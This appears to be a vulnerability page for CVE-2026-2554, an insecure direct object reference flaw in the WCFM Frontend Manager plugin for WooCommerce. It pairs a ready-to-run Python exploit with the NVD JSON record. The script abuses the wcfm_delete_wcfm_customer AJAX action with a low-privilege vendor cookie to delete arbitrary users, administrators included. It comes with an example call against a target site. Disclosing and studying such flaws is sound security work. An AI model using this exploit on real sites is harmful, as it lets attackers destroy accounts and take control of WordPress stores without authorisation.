CVE-2026-2554

import requests def exploit_delete_user(target_url, attacker_cookie, target_user_id): """ Exploit for CVE-2026-2554 IDOR vulnerability. Deletes a user by ID using a low-privilege vendor account. """ # The endpoint is typically wp-admin/admin-ajax.php endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload data data = { 'action': 'wcfm_delete_wcfm_customer', 'customerid': target_user_id } # Headers and Cookies headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded' } cookies = { 'wordpress_logged_in_xxx': attacker_cookie # Replace with actual cookie } try: response = requests.post(endpoint, data=data, headers=headers, cookies=cookies) if response.status_code == 200: print(f"[+] Request sent to delete user ID: {target_user_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # exploit_delete_user('http://target-site.com', 'attacker_cookie_value', '1')

{"cve": {"id": "CVE-2026-2554", "sourceIdentifier": "[email protected]", "published": "2026-05-02T14:16:17.707", "lastModified": "2026-05-05T19:15:06.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.25 via the 'wcfm_delete_wcfm_customer' due to missing validation on the 'customerid' user controlled key. This makes it possible for authenticated attackers, with Vendor-level access and above, to delete arbitrary users, including Administrators."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wc-frontend-manager/tags/6.7.24/core/class-wcfm-customer.php#L386", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3483695/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/21e397a4-0b32-4b13-a46b-c465acea0796?source=cve", "source": "[email protected]"}]}}